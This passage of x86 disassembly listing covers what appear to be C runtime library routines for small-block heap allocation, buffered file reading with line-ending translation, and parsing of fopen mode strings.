		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41F581

loc_41F547:				; CODE XREF: sub_41F50E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F56A
		cmp	[edi+4], ebx
		jbe	short loc_41F56A
		push	ebx
		push	ecx
		push	eax
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41F56A:				; CODE XREF: sub_41F50E+40j
					; sub_41F50E+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41F547
		jmp	short loc_41F584
; ---------------------------------------------------------------------------

loc_41F581:				; CODE XREF: sub_41F50E+37j
		mov	ebx, [ebp+arg_0]

loc_41F584:				; CODE XREF: sub_41F50E+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41F5CA

loc_41F597:				; CODE XREF: sub_41F50E+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41F5B6
		cmp	[edi+4], ebx
		jbe	short loc_41F5B6
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
		mov	[edi+4], ebx

loc_41F5B6:				; CODE XREF: sub_41F50E+8Dj
					; sub_41F50E+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41F597
		jmp	short loc_41F5CA
; ---------------------------------------------------------------------------

loc_41F5C7:				; CODE XREF: sub_41F50E+14j
		mov	ebx, [ebp+arg_0]

loc_41F5CA:				; CODE XREF: sub_41F50E+87j
					; sub_41F50E+B7j
		mov	esi, [esi]
		cmp	esi, off_43CE80
		jz	short loc_41F5E9
		jmp	loc_41F51C
; ---------------------------------------------------------------------------

loc_41F5D9:				; CODE XREF: sub_41F50E+54j
					; sub_41F50E+A3j
		mov	off_43CE80, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41F711
; ---------------------------------------------------------------------------

loc_41F5E9:				; CODE XREF: sub_41F50E+C4j
		mov	eax, offset off_43AE60
		mov	edi, eax

loc_41F5F0:				; CODE XREF: sub_41F50E+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41F5FC
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41F608

loc_41F5FC:				; CODE XREF: sub_41F50E+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41F6DD
		jmp	short loc_41F5F0
; ---------------------------------------------------------------------------

loc_41F608:				; CODE XREF: sub_41F50E+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41F637

loc_41F626:				; CODE XREF: sub_41F50E+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41F637
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F626

loc_41F637:				; CODE XREF: sub_41F50E+116j
					; sub_41F50E+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	near ptr 2660B3Bh
		nop
		cmp	eax, esi
		jnz	loc_41F70F
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_41BF70
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41F69E
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41F674:				; CODE XREF: sub_41F50E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41F674

loc_41F69E:				; CODE XREF: sub_41F50E+15Ej
		mov	off_43CE80, edi
		lea	eax, [edi+2018h]

loc_41F6AA:				; CODE XREF: sub_41F50E+1A8j
		cmp	ecx, eax
		jnb	short loc_41F6BA
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41F6B8
		add	ecx, 8
		jmp	short loc_41F6AA
; ---------------------------------------------------------------------------

loc_41F6B8:				; CODE XREF: sub_41F50E+1A3j
		cmp	ecx, eax

loc_41F6BA:				; CODE XREF: sub_41F50E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------

loc_41F6DD:				; CODE XREF: sub_41F50E+F2j
		call	sub_41F216
		test	eax, eax
		jz	short loc_41F70F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43CE80, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41F711
; ---------------------------------------------------------------------------

loc_41F70F:				; CODE XREF: sub_41F50E+143j
					; sub_41F50E+1D6j
		xor	eax, eax

loc_41F711:				; CODE XREF: sub_41F50E+D6j
					; sub_41F50E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F716	proc near		; CODE XREF: sub_41F50E+4Ap
					; sub_41F50E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41F75B
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41F74A
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41F753
; ---------------------------------------------------------------------------

loc_41F74A:				; CODE XREF: sub_41F716+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41F753:				; CODE XREF: sub_41F716+32j
		lea	eax, [edi+8]
		jmp	loc_41F829
; ---------------------------------------------------------------------------

loc_41F75B:				; CODE XREF: sub_41F716+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41F764
		mov	eax, esi

loc_41F764:				; CODE XREF: sub_41F716+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41F7AE

loc_41F76B:				; CODE XREF: sub_41F716+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41F7A1
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41F777:				; CODE XREF: sub_41F716+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F780
		inc	ebx
		inc	esi
		jmp	short loc_41F777
; ---------------------------------------------------------------------------

loc_41F780:				; CODE XREF: sub_41F716+64j
		cmp	esi, edx
		jnb	short loc_41F7D2
		cmp	eax, [ebp+var_4]
		jnz	short loc_41F78E
		mov	[ecx+4], esi
		jmp	short loc_41F79A
; ---------------------------------------------------------------------------

loc_41F78E:				; CODE XREF: sub_41F716+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41F833

loc_41F79A:				; CODE XREF: sub_41F716+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41F7A6
; ---------------------------------------------------------------------------

loc_41F7A1:				; CODE XREF: sub_41F716+59j
		movzx	esi, bl
		add	eax, esi

loc_41F7A6:				; CODE XREF: sub_41F716+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41F76B

loc_41F7AE:				; CODE XREF: sub_41F716+53j
		lea	esi, [ecx+8]

loc_41F7B1:				; CODE XREF: sub_41F716+EBj
					; sub_41F716+F2j
		cmp	esi, edi
		jnb	short loc_41F833
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41F833
		mov	al, [esi]
		test	al, al
		jnz	short loc_41F803
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41F7C9:				; CODE XREF: sub_41F716+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41F7F3
		inc	ebx
		inc	eax
		jmp	short loc_41F7C9
; ---------------------------------------------------------------------------

loc_41F7D2:				; CODE XREF: sub_41F716+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F7E3
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41F7EC
; ---------------------------------------------------------------------------

loc_41F7E3:				; CODE XREF: sub_41F716+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41F7EC:				; CODE XREF: sub_41F716+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41F829
; ---------------------------------------------------------------------------

loc_41F7F3:				; CODE XREF: sub_41F716+B6j
		cmp	eax, edx
		jnb	short loc_41F80A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41F833
		mov	esi, ebx
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------

loc_41F803:				; CODE XREF: sub_41F716+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41F7B1
; ---------------------------------------------------------------------------

loc_41F80A:				; CODE XREF: sub_41F716+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41F81B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41F824
; ---------------------------------------------------------------------------

loc_41F81B:				; CODE XREF: sub_41F716+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41F824:				; CODE XREF: sub_41F716+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41F829:				; CODE XREF: sub_41F716+40j
					; sub_41F716+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41F835
; ---------------------------------------------------------------------------

loc_41F833:				; CODE XREF: sub_41F716+7Ej
					; sub_41F716+9Dj ...
		xor	eax, eax

loc_41F835:				; CODE XREF: sub_41F716+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F83A	proc near		; CODE XREF: sub_41BBE2+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41F874
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F8D4
; ---------------------------------------------------------------------------

loc_41F874:				; CODE XREF: sub_41F83A+26j
		jnb	short loc_41F8DB
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F8DB
		lea	eax, [ecx+edx]

loc_41F889:				; CODE XREF: sub_41F83A+59j
		cmp	eax, esi
		jnb	short loc_41F897
		cmp	byte ptr [eax],	0
		jnz	short loc_41F895
		inc	eax
		jmp	short loc_41F889
; ---------------------------------------------------------------------------

loc_41F895:				; CODE XREF: sub_41F83A+56j
		cmp	eax, esi

loc_41F897:				; CODE XREF: sub_41F83A+51j
		jnz	short loc_41F8DB
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F8CF
		cmp	esi, eax
		jbe	short loc_41F8CF
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F8C6
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F8C1

loc_41F8BA:				; CODE XREF: sub_41F83A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F8BA

loc_41F8C1:				; CODE XREF: sub_41F83A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F8CF
; ---------------------------------------------------------------------------

loc_41F8C6:				; CODE XREF: sub_41F83A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41F8CF:				; CODE XREF: sub_41F83A+68j
					; sub_41F83A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41F8D4:				; CODE XREF: sub_41F83A+38j
		mov	[ebp+var_4], 1

loc_41F8DB:				; CODE XREF: sub_41F83A:loc_41F874j
					; sub_41F83A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F83A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F8E3	proc near		; CODE XREF: sub_41BAFA+A9p
					; sub_41C52F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F9B7
		test	al, 40h
		jnz	loc_41F9B7
		test	al, 2
		jz	short loc_41F909
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F9B7
; ---------------------------------------------------------------------------

loc_41F909:				; CODE XREF: sub_41F8E3+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F91D
		push	esi
		call	sub_4241F7
		pop	ecx
		jmp	short loc_41F922
; ---------------------------------------------------------------------------

loc_41F91D:				; CODE XREF: sub_41F8E3+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41F922:				; CODE XREF: sub_41F8E3+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F9A6
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F9A6
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F97B
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F964
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DD060[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F969
; ---------------------------------------------------------------------------

loc_41F964:				; CODE XREF: sub_41F8E3+6Bj
		mov	edi, offset dword_43D4E0

loc_41F969:				; CODE XREF: sub_41F8E3+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F97B
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41F97B:				; CODE XREF: sub_41F8E3+62j
					; sub_41F8E3+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F998
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F998
		test	ch, 4
		jnz	short loc_41F998
		mov	dword ptr [esi+18h], 1000h

loc_41F998:				; CODE XREF: sub_41F8E3+9Fj
					; sub_41F8E3+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41F9A6:				; CODE XREF: sub_41F8E3+55j
					; sub_41F8E3+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41F9B7:				; CODE XREF: sub_41F8E3+Aj
					; sub_41F8E3+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F8E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F9BC	proc near		; CODE XREF: sub_41BAFA+90p
					; sub_41F8E3+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DD160
		jnb	loc_41FB99
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DD060h[eax*4]
		mov	eax, dword_4DD060[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41FB99
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41FA71
		test	dl, 2
		jnz	short loc_41FA71
		test	dl, 48h
		jz	short loc_41FA31
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41FA31
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41FA31:				; CODE XREF: sub_41F9BC+56j
					; sub_41F9BC+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 270116Ch
		test	eax, eax
		jnz	short loc_41FA84
		nop
		call	near ptr 269096Bh
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41FA6C
		mov	dword_4DBDEC, 9
		mov	dword_4DBDF0, ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------

loc_41FA6C:				; CODE XREF: sub_41F9BC+99j
		cmp	eax, 6Dh
		jnz	short loc_41FA78

loc_41FA71:				; CODE XREF: sub_41F9BC+4Cj
					; sub_41F9BC+51j
		xor	eax, eax
		jmp	loc_41FBAD
; ---------------------------------------------------------------------------

loc_41FA78:				; CODE XREF: sub_41F9BC+B3j
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	loc_41FBAA
; ---------------------------------------------------------------------------

loc_41FA84:				; CODE XREF: sub_41F9BC+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41FB94
		test	edx, edx
		jz	short loc_41FAA9
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41FAA9
		or	al, 4
		jmp	short loc_41FAAB
; ---------------------------------------------------------------------------

loc_41FAA9:				; CODE XREF: sub_41F9BC+E2j
					; sub_41F9BC+E7j
		and	al, 0FBh

loc_41FAAB:				; CODE XREF: sub_41F9BC+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41FB8E

loc_41FAC3:				; CODE XREF: sub_41F9BC+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41FB7E
		cmp	al, 0Dh
		jz	short loc_41FADF
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41FB70
; ---------------------------------------------------------------------------

loc_41FADF:				; CODE XREF: sub_41F9BC+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41FAFD
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41FAF4
		add	[ebp+arg_8], 2
		jmp	short loc_41FB52
; ---------------------------------------------------------------------------

loc_41FAF4:				; CODE XREF: sub_41F9BC+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------

loc_41FAFD:				; CODE XREF: sub_41F9BC+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 270116Ch
		test	eax, eax
		jnz	short loc_41FB25
		call	near ptr 269096Bh
		nop
		test	eax, eax
		jnz	short loc_41FB6C

loc_41FB25:				; CODE XREF: sub_41F9BC+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41FB6C
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41FB47
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41FB52
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41FB70
; ---------------------------------------------------------------------------

loc_41FB47:				; CODE XREF: sub_41F9BC+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41FB57
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41FB57

loc_41FB52:				; CODE XREF: sub_41F9BC+136j
					; sub_41F9BC+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41FB6F
; ---------------------------------------------------------------------------

loc_41FB57:				; CODE XREF: sub_41F9BC+18Ej
					; sub_41F9BC+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_422F09
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41FB70

loc_41FB6C:				; CODE XREF: sub_41F9BC+167j
					; sub_41F9BC+16Dj
		mov	byte ptr [edi],	0Dh

loc_41FB6F:				; CODE XREF: sub_41F9BC+199j
		inc	edi

loc_41FB70:				; CODE XREF: sub_41F9BC+11Ej
					; sub_41F9BC+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41FAC3
		jmp	short loc_41FB8E
; ---------------------------------------------------------------------------

loc_41FB7E:				; CODE XREF: sub_41F9BC+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41FB8E
		or	al, 2
		mov	[esi], al

loc_41FB8E:				; CODE XREF: sub_41F9BC+101j
					; sub_41F9BC+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41FB94:				; CODE XREF: sub_41F9BC+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41FBAD
; ---------------------------------------------------------------------------

loc_41FB99:				; CODE XREF: sub_41F9BC+12j
					; sub_41F9BC+39j
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9

loc_41FBAA:				; CODE XREF: sub_41F9BC+ABj
					; sub_41F9BC+C3j
		or	eax, 0FFFFFFFFh

loc_41FBAD:				; CODE XREF: sub_41F9BC+B7j
					; sub_41F9BC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F9BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBB2	proc near		; CODE XREF: sub_41BBE2+126p
					; sub_41BBE2+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DBE54
		test	eax, eax
		jz	short loc_41FBCA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41FBCA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41FBCA:				; CODE XREF: sub_41FBB2+7j
					; sub_41FBB2+12j
		xor	eax, eax
		retn
sub_41FBB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBCD	proc near		; CODE XREF: sub_41BE82+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBFC0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41FC06
		cmp	al, 72h
		jz	short loc_41FBFF
		cmp	al, 77h
		jnz	loc_41FD1A
		mov	ecx, 301h
		jmp	short loc_41FC0B
; ---------------------------------------------------------------------------

loc_41FBFF:				; CODE XREF: sub_41FBCD+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41FC0E
; ---------------------------------------------------------------------------

loc_41FC06:				; CODE XREF: sub_41FBCD+1Dj
		mov	ecx, 109h

loc_41FC0B:				; CODE XREF: sub_41FBCD+30j
		or	esi, 2

loc_41FC0E:				; CODE XREF: sub_41FBCD+37j
		push	1
		pop	edx

loc_41FC11:				; CODE XREF: sub_41FBCD+8Bj
					; sub_41FBCD+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41FD00
		cmp	edx, ebx
		jz	loc_41FD00
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41FC9F
		jz	short loc_41FC8F
		sub	eax, 2Bh
		jz	short loc_41FC79
		sub	eax, 19h
		jz	short loc_41FC6F
		sub	eax, 0Eh
		jz	short loc_41FC5A
		dec	eax
		jnz	loc_41FCF1
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------

loc_41FC5A:				; CODE XREF: sub_41FBCD+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41FCF1
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------

loc_41FC6F:				; CODE XREF: sub_41FBCD+6Aj
		test	cl, 40h
		jnz	short loc_41FCF1
		or	ecx, 40h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------

loc_41FC79:				; CODE XREF: sub_41FBCD+65j
		test	cl, 2
		jnz	short loc_41FCF1
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41FC11
; ---------------------------------------------------------------------------

loc_41FC8F:				; CODE XREF: sub_41FBCD+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41FCF1
		or	ecx, eax
		jmp	loc_41FC11
; ---------------------------------------------------------------------------

loc_41FC9F:				; CODE XREF: sub_41FBCD+5Ej
		sub	eax, 62h
		jz	short loc_41FCEC
		dec	eax
		jz	short loc_41FCD5
		sub	eax, 0Bh
		jz	short loc_41FCBE
		sub	eax, 6
		jnz	short loc_41FCF1
		test	ch, 0C0h
		jnz	short loc_41FCF1
		or	ch, 40h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------

loc_41FCBE:				; CODE XREF: sub_41FBCD+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41FC11
; ---------------------------------------------------------------------------

loc_41FCD5:				; CODE XREF: sub_41FBCD+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41FCF1
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------

loc_41FCEC:				; CODE XREF: sub_41FBCD+D5j
		test	ch, 0C0h
		jz	short loc_41FCF8

loc_41FCF1:				; CODE XREF: sub_41FBCD+72j
					; sub_41FBCD+7Bj ...
		xor	edx, edx
		jmp	loc_41FC11
; ---------------------------------------------------------------------------

loc_41FCF8:				; CODE XREF: sub_41FBCD+122j
		or	ch, 80h
		jmp	loc_41FC11
; ---------------------------------------------------------------------------

loc_41FD00:				; CODE XREF: sub_41FBCD+4Aj
					; sub_41FBCD+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42423B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41FD1E

loc_41FD1A:				; CODE XREF: sub_41FBCD+25j
		xor	eax, eax
		jmp	short loc_41FD38
; ---------------------------------------------------------------------------

loc_41FD1E:				; CODE XREF: sub_41FBCD+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBFBC
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41FD38:				; CODE XREF: sub_41FBCD+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
